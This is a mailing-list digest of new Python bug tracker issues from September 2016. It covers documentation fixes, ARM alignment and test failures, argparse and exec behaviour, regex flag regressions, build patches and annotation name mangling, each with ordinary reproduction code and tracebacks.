_______________________________________

From report at bugs.python.org  Fri Sep  9 15:44:40 2016
From: report at bugs.python.org (Lorenzo Pascucci)
Date: Fri, 09 Sep 2016 19:44:40 +0000
Subject: [New-bugs-announce] [issue28051] Typo and broken links in page
 "What's New In Python 3.5"
Message-ID: <1473450280.07.0.816222969551.issue28051@psf.upfronthosting.co.za>


New submission from Lorenzo Pascucci:

In the documentation page "What's New In Python 3.5" there is a small typo within the section "Improved Modules" related to `asyncio` [0], along with 3 broken links.

Typo:
The function `loop.set_task_factory()` appears linked twice, but the second link is actually for the function `loop.get_task_factory()`.

Links:
The (duplicate) link for `loop.set_task_factory()` and the link for `loop.create_task()` point to the right documentation page, but to wrong anchors: they refer to `BaseEventLoop` whereas they should refer to `AbstractEventLoop`.


[0] https://docs.python.org/3/whatsnew/3.5.html#asyncio

----------
assignee: docs at python
components: Documentation
messages: 275407
nosy: Lorenzo Pascucci, docs at python
priority: normal
severity: normal
status: open
title: Typo and broken links in page "What's New In Python 3.5"
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28051>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:08:22 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:08:22 +0000
Subject: [New-bugs-announce] [issue28052] clarify concurrent.futures docs to
 not refer to async Futures except where truly necessary
Message-ID: <1473451702.52.0.890442424616.issue28052@psf.upfronthosting.co.za>


New submission from Davin Potts:

Per discussions with Yury, Lukasz and BDFL.

----------
messages: 275417
nosy: davin
priority: normal
severity: normal
status: open
title: clarify concurrent.futures docs to not refer to async Futures except where truly necessary
type: enhancement
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28052>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:58:54 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:58:54 +0000
Subject: [New-bugs-announce] [issue28053] parameterize what serialization is
 used in multiprocessing
Message-ID: <1473454734.41.0.810069156927.issue28053@psf.upfronthosting.co.za>


New submission from Davin Potts:

Currently multiprocessing uses the pickle module for its serialization of objects to be communicated between processes.  Specifically v2 of the pickle protocols is now exclusively used to provide maximum compatibility, motivated by the desire for multiple versions of Python to be used simultaneously with multiprocessing.

Per conversations in issue26507, issue23403, and others, multiprocessing should offer the option to specify what serialization is to be used for the transport of data between processes.  Besides supporting requests to use a different version of the pickle protocol or using 3rd party tools like dill, a hook to specify the means for reducing objects to a transmittable form opens a door for other creative or higher performance strategies.

Ultimately, this is not an enhancement to add functionality but rather to reorganize the existing internals of multiprocessing to permit better control over its use of serialization.

----------
assignee: davin
messages: 275437
nosy: davin
priority: normal
severity: normal
status: open
title: parameterize what serialization is used in multiprocessing
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28053>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:44:33 2016
From: report at bugs.python.org (Eli Rose)
Date: Fri, 09 Sep 2016 22:44:33 +0000
Subject: [New-bugs-announce] [issue28054] Diff for visually comparing actual
 with expected in mock.assert_called_with.
Message-ID: <1473461073.51.0.19108692382.issue28054@psf.upfronthosting.co.za>


New submission from Eli Rose:

When I call unittest.TestCase.assertEqual(a, b) on e.g. two unequal dictionaries, I get a nice diff pointing me to the differences.

>>> class A(unittest.TestCase):
...     def test_foo(self):
...         self.assertEqual(dict(foo='bar', zab='zar'), dict(foo='bar', zab='zab'))
>>> unittest.main()
======================================================================
FAIL: test_foo (__main__.A)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "<stdin>", line 3, in test_foo
AssertionError: {'foo': 'bar', 'zab': 'zar'} != {'foo': 'bar', 'zab': 'zab'}
- {'foo': 'bar', 'zab': 'zar'}
?                          ^

+ {'foo': 'bar', 'zab': 'zab'}
?                          ^


----------------------------------------------------------------------
Ran 1 test in 0.001s

FAILED (failures=1)

But when unittest.mock.Mock.assert_called_with fails, I don't get this nice diff output.

This would be very helpful in my present case (asserting that a function with many keyword arguments is called correctly).

----------
components: Tests
messages: 275481
nosy: Eli Rose
priority: normal
severity: normal
status: open
title: Diff for visually comparing actual with expected in mock.assert_called_with.
type: enhancement
versions: Python 2.7, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28054>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:29:02 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 23:29:02 +0000
Subject: [New-bugs-announce] [issue28055] pyhash's siphash24 assumes
 alignment of the data pointer
Message-ID: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>


New submission from Matthias Klose:

pyhash's siphash24 assumes alignment of the data pointer, casting a void pointer (src) to an uint64_t pointer, increasing the required alignment from 1 to 4 bytes. That's invalid code. siphash24 can't assume that the pointer to the data to hash is 4-byte aligned.

Seen as a bus error trying to run a ARM32 binary on a AArch64 kernel.

./python -c 'import datetime; print(hash(datetime.datetime(2015, 1, 1)))'

the datetime type is defined as

#define _PyTZINFO_HEAD \
    PyObject_HEAD \
    Py_hash_t hashcode; \
    char hastzinfo; /* boolean flag */

typedef struct
{
    _PyTZINFO_HEAD
    unsigned char data[_PyDateTime_DATE_DATASIZE];
} PyDateTime_Date;

and data is used to calculate the hash of the object, not being 4 byte aligned, you get the bus error. Inserting three fill bytes, are making the data member 4-byte aligned solves the issue, however introducing an ABI change makes the new datetime ABI incompatible, and we don't know about the alignment of objects outside the standard library.

The solution is to use a memcpy instead of the cast to uint64_t, for now limited to the little endian ARM targets, but I don't see why the memcpy cannot always be used on little endian targets instead of the cast.

----------
assignee: doko
components: Interpreter Core
files: pyhash.diff
keywords: patch
messages: 275493
nosy: doko
priority: normal
severity: normal
status: open
title: pyhash's siphash24 assumes alignment of the data pointer
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44514/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:25:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 04:25:14 +0000
Subject: [New-bugs-announce] [issue28056] sizeof unit tests fail on ARMv7
Message-ID: <1473481514.98.0.178433606231.issue28056@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Hum, I used "+ 8" to add the new 64-bit version tag of dictionaries. But I didn't use struct.calcsize() to compute it, so there is maybe an aliasing/padding issue.

http://buildbot.python.org/all/builders/ARMv7%20Ubuntu%203.x/builds/4815/steps/test/logs/stdio

======================================================================
FAIL: test_objecttypes (test.test_sys.SizeofTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test_sys.py", line 940, in test_objecttypes
    check({}, size('n2P') + 8 + calcsize('2nP2n') + 8 + (8*2//3)*calcsize('n2P'))
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1510, in check_sizeof
    test.assertEqual(result, size, msg)
AssertionError: 144 != 140 : wrong size for <class 'dict'>: got 144, expected 140

======================================================================
FAIL: test_sizeof_exact (test.test_ordered_dict.CPythonOrderedDictSubclassTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test_ordered_dict.py", line 677, in test_sizeof_exact
    check(od, basicsize + 8*p + 8 + 5*entrysize)  # 8byte indicies + 8*2//3 * entry table
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1510, in check_sizeof
    test.assertEqual(result, size, msg)
AssertionError: 208 != 204 : wrong size for <class 'test.test_ordered_dict.CPythonOrderedDictSubclassTests.OrderedDict'>: got 208, expected 204

======================================================================
FAIL: test_sizeof_exact (test.test_ordered_dict.CPythonOrderedDictTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test_ordered_dict.py", line 677, in test_sizeof_exact
    check(od, basicsize + 8*p + 8 + 5*entrysize)  # 8byte indicies + 8*2//3 * entry table
  File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/support/__init__.py", line 1510, in check_sizeof
    test.assertEqual(result, size, msg)
AssertionError: 208 != 204 : wrong size for <class 'collections.OrderedDict'>: got 208, expected 204

----------
messages: 275562
nosy: haypo
priority: normal
severity: normal
status: open
title: sizeof unit tests fail on ARMv7
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28056>
_______________________________________

From report at bugs.python.org  Sat Sep 10 00:32:45 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 10 Sep 2016 04:32:45 +0000
Subject: [New-bugs-announce] [issue28057] Warnings (45) building
 Doc/library/email.*.rst
Message-ID: <1473481965.13.0.517391626967.issue28057@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Sphinx v1.3.6
F:\Python\dev\36\Doc\library\email.compat32-message.rst:54: WARNING: duplicate object description of email.message.Message, other instance in F:\Python\dev\36\Doc\library\email.message.rst, use :noindex: for one of them

+ 44 more

----------
assignee: docs at python
components: Documentation, email
messages: 275564
nosy: barry, docs at python, r.david.murray, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Warnings (45) building Doc/library/email.*.rst
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28057>
_______________________________________

From report at bugs.python.org  Sat Sep 10 03:30:59 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sat, 10 Sep 2016 07:30:59 +0000
Subject: [New-bugs-announce] [issue28058] [Patch] Don't use st_uid and
 st_gid on CloudABI
Message-ID: <1473492659.2.0.816562510878.issue28058@psf.upfronthosting.co.za>


New submission from Ed Schouten:

CloudABI is a UNIX-like runtime environment that uses a capability-based security model. As there is no support for traditional UNIX credentials (uid_t, gid_t), its struct stat doesn't provide st_uid and st_gid.

Python can already deal with the absence of these fields, as it also needs to treat Windows similarly. Attached is a patch that simply adds CloudABI to the relevant '#if' in posixmodule.c.

----------
components: Extension Modules
files: patch-st_uid-st_gid
messages: 275591
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] Don't use st_uid and st_gid on CloudABI
versions: Python 3.7
Added file: http://bugs.python.org/file44525/patch-st_uid-st_gid

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28058>
_______________________________________

From report at bugs.python.org  Sat Sep 10 04:13:18 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 08:13:18 +0000
Subject: [New-bugs-announce] [issue28059] Windows:
 test_platform.test_architecture_via_symlink() regression
Message-ID: <1473495198.34.0.418731997358.issue28059@psf.upfronthosting.co.za>


New submission from STINNER Victor:

It looks like test_platform started to fail on AMD64 Windows10 3.x between build 1456 (success) and 1458 (failure, 1457 was interrupted or something like that).

The regression may be related to the issue #27932, change 31b7eaff5588.

http://buildbot.python.org/all/builders/AMD64%20Windows10%203.x/builds/1458/steps/test/logs/stdio

======================================================================
FAIL: test_architecture_via_symlink (test.test_platform.PlatformTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\buildarea\3.x.bolen-windows10\build\lib\test\test_platform.py", line 33, in test_architecture_via_symlink
    self.assertEqual(get(real), get(link))
AssertionError: Tuples differ: (b"('64bit', 'WindowsPE')\r\n", None) != (b'', None)

First differing element 0:
b"('64bit', 'WindowsPE')\r\n"
b''

- (b"('64bit', 'WindowsPE')\r\n", None)
+ (b'', None)

----------------------------------------------------------------------

----------
components: Windows
messages: 275596
nosy: haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Windows: test_platform.test_architecture_via_symlink() regression

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Sat Sep 10 06:46:13 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 10:46:13 +0000
Subject: [New-bugs-announce] [issue28060] Clean up division fast paths in
 Objects/longobject.c
Message-ID: <1473504373.09.0.740082667997.issue28060@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

We seem to have ended up with redundant fast path checks for division in longobject.c: long_div has a fast path check, but the long_div slow path calls l_divmod, which then does a second, identical, fast path check. long_mod has similar behaviour. long_divmod, however, has no fast path, so relies on the one from l_divmod.

This patch removes the extra fast path from l_divmod, and then adds a top-level fast path check to long_divmod.

----------
assignee: mark.dickinson
files: divmod_fastpath.patch
keywords: patch
messages: 275618
nosy: mark.dickinson
priority: normal
severity: normal
stage: commit review
status: open
title: Clean up division fast paths in Objects/longobject.c
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44528/divmod_fastpath.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28060>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:05:02 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 12:05:02 +0000
Subject: [New-bugs-announce] [issue28061] Python crashes on 'from test
 import support'
Message-ID: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>


New submission from Emanuel Barry:

VS breaks at line Objects/dictobject.c:2339 - '        if (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)'

I don't have any more useful information; I'm running Windows 7.

----------
components: Interpreter Core
messages: 275627
nosy: ebarry, haypo, methane, ned.deily, serhiy.storchaka
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Python crashes on 'from test import support'
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sat Sep 10 08:12:43 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Sat, 10 Sep 2016 12:12:43 +0000
Subject: [New-bugs-announce] [issue28062] Streamline repr(partial object)
Message-ID: <1473509563.26.0.129783656333.issue28062@psf.upfronthosting.co.za>


New submission from Emanuel Barry:

This is a followup to #27137, where it was found out the repr of a partial object includes the module (i.e. 'functools') only if it's not a subclass. This behaviour is surprising at best. Attached patch streamlines the reprs of partial objects to always include the module.

Raymond, do you remember why this approach was taken? Looking at the code, it seems it was just the easiest way to go about it.

Side-note: I couldn't run the test suite since I ran into #28061, so I just did manual testing.

----------
components: Library (Lib)
files: functools_partial_repr_1.patch
keywords: patch
messages: 275628
nosy: ebarry, ncoghlan, rhettinger, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Streamline repr(partial object)
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44529/functools_partial_repr_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28062>
_______________________________________

From report at bugs.python.org  Sat Sep 10 10:58:54 2016
From: report at bugs.python.org (John Didion)
Date: Sat, 10 Sep 2016 14:58:54 +0000
Subject: [New-bugs-announce] [issue28063] Adding a mutually exclusive group
 to an argument group results in segmentation fault under linux
Message-ID: <1473519534.02.0.904268964062.issue28063@psf.upfronthosting.co.za>


New submission from John Didion:

The following code works fine when I run it on OSX 10.9, but causes a segmentation fault when run on linux. Specifically, the Travis build on python 3.5.2 results in a segfault when the last line is uncommented.

import argparse
parser = argparse.ArgumentParser()
group = parser.add_argument_group("Colorspace options")
group.add_mutually_exclusive_group()

----------
messages: 275645
nosy: John.Didion
priority: normal
severity: normal
status: open
title: Adding a mutually exclusive group to an argument group results in segmentation fault under linux
type: crash
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28063>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:14:53 2016
From: report at bugs.python.org (Qwert225)
Date: Sat, 10 Sep 2016 17:14:53 +0000
Subject: [New-bugs-announce] [issue28064] String executed inside a function
 ignores global statements
Message-ID: <1473527693.0.0.0124626059275.issue28064@psf.upfronthosting.co.za>


New submission from Qwert225:

String executed inside a function ignores global statements stated before string execution.

See the example below - the global variable value should be changed to 'newText' by the function, but is not.
Example:

variable = 'text'

def changeVariable():
    global variable
    exec("variable = 'newText'")

changeVariable()

print(str(variable))

----------
messages: 275657
nosy: Qwert225
priority: normal
severity: normal
status: open
title: String executed inside a function ignores global statements
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28064>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:42:10 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 10 Sep 2016 18:42:10 +0000
Subject: [New-bugs-announce] [issue28065] Update Windows build to xz-5.2.2
Message-ID: <1473532930.34.0.476598665602.issue28065@psf.upfronthosting.co.za>


New submission from Zachary Ware:

Attached patch builds xz-5.2.2 ourselves rather than relying on pre-built binaries.  It copies the project file from xz and modifies it to fit our setup, so updates may not be a 3 line change like a sqlite3 update.

This is rather beta-quality, I'm sure there's some cleanup that can be done.  If nobody gets a chance to look at it before tomorrow, I'm going to sneak it in anyway before b1.

----------
assignee: zach.ware
components: Build, Windows
files: build_xz.diff
keywords: patch
messages: 275670
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Update Windows build to xz-5.2.2
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44534/build_xz.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28065>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:02:01 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sat, 10 Sep 2016 19:02:01 +0000
Subject: [New-bugs-announce] [issue28066] [Patch] Fix the ability to cross
 compile Python when doing a rebuild of importlib.h
Message-ID: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>


New submission from Ed Schouten:

For CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) we're providing packages containing a precompiled copy of Python. As we had to make some changes to importlib (namely to deal with directory file descriptors), we have to do a rebuild of importlib.h during the cross compilation process, using Programs/_freeze_importlib.

We've run into a couple of issues that require us to patch up the build system to make this work:

- First of all, Programs/_freeze_importlib is built using the compiler for the target. There is no way to override this. The OpenWRT folks have also run into this issue and have patched up the Makefile to add a $FREEZE_IMPORTLIB that allows you to use a different executable:

https://github.com/openwrt/packages/blob/master/lang/python3/patches/013-make-freeze-import-lib-into-an-override-able-var.patch

This patch is almost correct; it doesn't prevent _freeze_importlib from being built, which is needed in our case as it doesn't build cleanly on CloudABI.

- Second, if an out-of-tree build is performed, we need to make sure that Python/frozen.c imports the right copy of importlib.h. We must add -IPython to the compiler flags to realise.

Attached is a patch that contains the modifications that we've made to Makefile.pre.in to make cross compilation work for us.

----------
components: Interpreter Core
files: patch-freeze-importlib
messages: 275674
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] Fix the ability to cross compile Python when doing a rebuild of importlib.h
versions: Python 3.7
Added file: http://bugs.python.org/file44536/patch-freeze-importlib

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:13:49 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 19:13:49 +0000
Subject: [New-bugs-announce] [issue28067] Do not call localtime in datetime
 module
Message-ID: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

POSIX localtime function mutates global state which leads to subtle bugs on some platforms.  We should call localtime_r or localtime_s instead.

See issue 22627.

----------
assignee: belopolsky
messages: 275678
nosy: belopolsky
priority: normal
severity: normal
status: open
title: Do not call localtime in datetime module
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:45:45 2016
From: report at bugs.python.org (Gevorg Voskanyan)
Date: Sat, 10 Sep 2016 19:45:45 +0000
Subject: [New-bugs-announce] [issue28068] Error in freeze.py due to
 unguarded sys.abiflags usage under Windows
Message-ID: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>


New submission from Gevorg Voskanyan:

Traceback (most recent call last):
  File ".../freeze.py", line 493, in <module>
    main()
  File ".../freeze.py", line 222, in main
    flagged_version = version + sys.abiflags
AttributeError: module 'sys' has no attribute 'abiflags'

----------
components: Demos and Tools
messages: 275686
nosy: gevorg
priority: normal
severity: normal
status: open
title: Error in freeze.py due to unguarded sys.abiflags usage under Windows
type: compile error
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:49:19 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 19:49:19 +0000
Subject: [New-bugs-announce] [issue28069] signalmodule.c does "is"
 comparisons for SIG_IGN and SIG_DFL
Message-ID: <1473536959.93.0.176407274769.issue28069@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

Modules/signalmodule.c contains this code:

    if (handler == IgnoreHandler)
        func = SIG_IGN;
    else if (handler == DefaultHandler)
        func = SIG_DFL;
    ...

Here IgnoreHandler and DefaultHandler are ints. The code above effectively does an "is" comparison with those ints, assuming that SIG_IGN and SIG_DFL are amongst the small interned ints.

----------
messages: 275687
nosy: mark.dickinson
priority: normal
severity: normal
status: open
title: signalmodule.c does "is" comparisons for SIG_IGN and SIG_DFL
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28069>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:07:45 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 22:07:45 +0000
Subject: [New-bugs-announce] [issue28070] 3.6 regression: re.compile not
 handling flags with X correctly
Message-ID: <1473545265.89.0.511572120567.issue28070@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

This test script:


import re

print(re.compile(r'(?ix)A').flags == re.I | re.X | re.U)
print(re.compile(r'(?ix)A').flags == re.X | re.U)
print(re.compile(r'(?im)A').flags == re.I | re.M | re.U)


gives False, True, True on default:b28b37de9470+. Python 3.5.2 gives True, False, True.

Seems re.compile does not handle flags with X correctly?

----------
components: Regular Expressions
messages: 275705
nosy: Chi Hsuan Yen, ezio.melotti, mrabarnett, serhiy.storchaka
priority: normal
severity: normal
status: open
title: 3.6 regression: re.compile not handling flags with X correctly
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28070>
_______________________________________

From report at bugs.python.org  Sat Sep 10 18:22:04 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 10 Sep 2016 22:22:04 +0000
Subject: [New-bugs-announce] [issue28071] Stop set.difference when set is
 empty
Message-ID: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Proposal from SO: in the iteration loop for 'myset.difference(iterable)', add equivalent of "if not myset: break'.
https://stackoverflow.com/questions/39378043/why-does-pythons-set-difference-method-take-time-with-an-empty-set

In the toy example for testing that this is currently not so, myset starts empty, but it was noted by the OP that a more realistic example would be that myset becomes empty after deletions.

Postulated reasons why not to do this (as opposed to why it has not been done yet ;-):

1) averaged over all uses, the time saved not iterating would be less than the time spent testing emptyness.

2) an implicit guarantee to complete the iteration for possible side-effects.

One answer notes that myset.difference(anotherset) is special-cased and faster than the equivalent non-set iterable.

I searched the tracker for 'empty set difference' and got no hits.  If I remember, I will post any disposition of this issue back to SO.

----------
messages: 275707
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Stop set.difference when set is empty
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Sat Sep 10 19:27:30 2016
From: report at bugs.python.org (Decorater)
Date: Sat, 10 Sep 2016 23:27:30 +0000
Subject: [New-bugs-announce] [issue28072] Empty Strings are not parsed to
 None.
Message-ID: <1473550050.32.0.541493400978.issue28072@psf.upfronthosting.co.za>


New submission from Decorater:

I noticed that the Python interpreter does not interpret a empty string as None so I have to do this unclean workaround every time in functions that cannot have a empty string passed to them.

Here is some example Code I have to do to bypass this (the function itself):

def create_one(url):
    if url == '':
        url = None
    if url is not None:
        url_data = urllib.parse.urlencode(dict(url=url))
        byte_data = str.encode(url_data)
        ret = urllib.request.urlopen(API_CREATE, data=byte_data).read().strip()
        almost_result = str(ret)
        closer_result = almost_result.strip("b")
        result = closer_result.strip("'")
        return result
    else:
        URLError('The given URL Cannot be \'None\'.')

So yeah I suggest for the interpreter to interpret empty strings as None so that way it can cleanup some lines of trying to parse it to None which can be a lot of work. It also makes code simpler as well.

----------
messages: 275713
nosy: Decorater
priority: normal
severity: normal
status: open
title: Empty Strings are not parsed to None.

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28072>
_______________________________________

From report at bugs.python.org  Sat Sep 10 20:27:08 2016
From: report at bugs.python.org (Michael Lee)
Date: Sun, 11 Sep 2016 00:27:08 +0000
Subject: [New-bugs-announce] [issue28073] Update documentation about None vs
 type(None) in typing
Message-ID: <1473553628.91.0.952557141974.issue28073@psf.upfronthosting.co.za>


New submission from Michael Lee:

For some reason, the section of the typing docs about Optional stated that Optional[T] was equivalent to Union[T, type(None)]. While this is true, it's somewhat inconsistent and potentially confusing since everywhere else in the docs, we just use None.

This patch modifies that line to use Union[T, type(None)] instead, and moves the line explaining that None is special-cased to mean type(None) to the first usage of None as a type within the docs.

----------
assignee: docs at python
components: Documentation
files: update-none-vs-type-none.patch
keywords: patch
messages: 275718
nosy: docs at python, gvanrossum, michael0x2a
priority: normal
severity: normal
status: open
title: Update documentation about None vs type(None) in typing
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44542/update-none-vs-type-none.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28073>
_______________________________________

From report at bugs.python.org  Sat Sep 10 22:30:34 2016
From: report at bugs.python.org (Chris Nyland)
Date: Sun, 11 Sep 2016 02:30:34 +0000
Subject: [New-bugs-announce] [issue28074] Add Configuration file parser
 action
Message-ID: <1473561034.71.0.0348324779613.issue28074@psf.upfronthosting.co.za>


New submission from Chris Nyland:

I have recently developed a action for the argparse module that allows arguments to be read in from configuration files. It is different in functionality than the convert_arg_line_to_args in that the file path(s) is passed to the action and then opened. This allows a user to sub class the action and use which ever parser they chose. For a default option the action uses the built in configparser module. 

To implement it properly I had to adjust some of the code in the the parse functions of the ArgumentParser class. Namely I had to make the take_action function a method of the class so that it could be called by the action. I also had to make a few variables that were private to the function attributes of the class.

If the patch is accepted I would be willing to write some tests as well as documentation. This is my first time submitting a patch like this so any feed back would be appreciated. 

Adding it to the core library would seem to fit nicely into the batteries included idea of Python.

----------
components: Library (Lib)
files: ConfigFileAction.patch
keywords: patch
messages: 275725
nosy: Chris Nyland
priority: normal
severity: normal
status: open
title: Add Configuration file parser action
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44543/ConfigFileAction.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28074>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:04:40 2016
From: report at bugs.python.org (ramson)
Date: Sun, 11 Sep 2016 09:04:40 +0000
Subject: [New-bugs-announce] [issue28075] py35 os.stat behavoir different
 than python 2.7
Message-ID: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>


New submission from ramson:

doing os.stat on the directory c:\config.msi gives different results on my Windows 10 machine, when done with py27 and py35
------------------------------------------------------
Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:24:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.stat('c:\\config.msi')
nt.stat_result(st_mode=16895, st_ino=0L, st_dev=0L, st_nlink=0, st_uid=0, st_gid=0, st_size=2891776L, st_atime=1473584558L, st_mtime=1473584558L, st_ctime=1449228297L)

------------------------------------------------------
Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.stat('c:\\config.msi')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
PermissionError: [WinError 5] Zugriff verweigert: 'c:\\config.msi'

-> Access denied

----------
components: Windows
messages: 275750
nosy: paul.moore, ramson, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: py35 os.stat behavoir different than python 2.7
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:50:58 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 10:50:58 +0000
Subject: [New-bugs-announce] [issue28076] Variable annotations should be
 mangled for private names
Message-ID: <1473591058.67.0.814364410538.issue28076@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Variable annotations for private names are stored in __annotations__ without name mangling. This is inconsistent with how function annotations behave:

class C:
   def meth(__x: int): ...

assert C.meth.__annotations__ == {'_C__x': int}

The attached patch fixes variable annotations to behave in the same way:

class C:
    __foo: int = 1

assert C.__dict__['_C_foo'] == 1
assert C.__annotations__['_C__foo'] == int

----------
components: Interpreter Core
files: mangle-ann.diff
keywords: patch
messages: 275772
nosy: gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
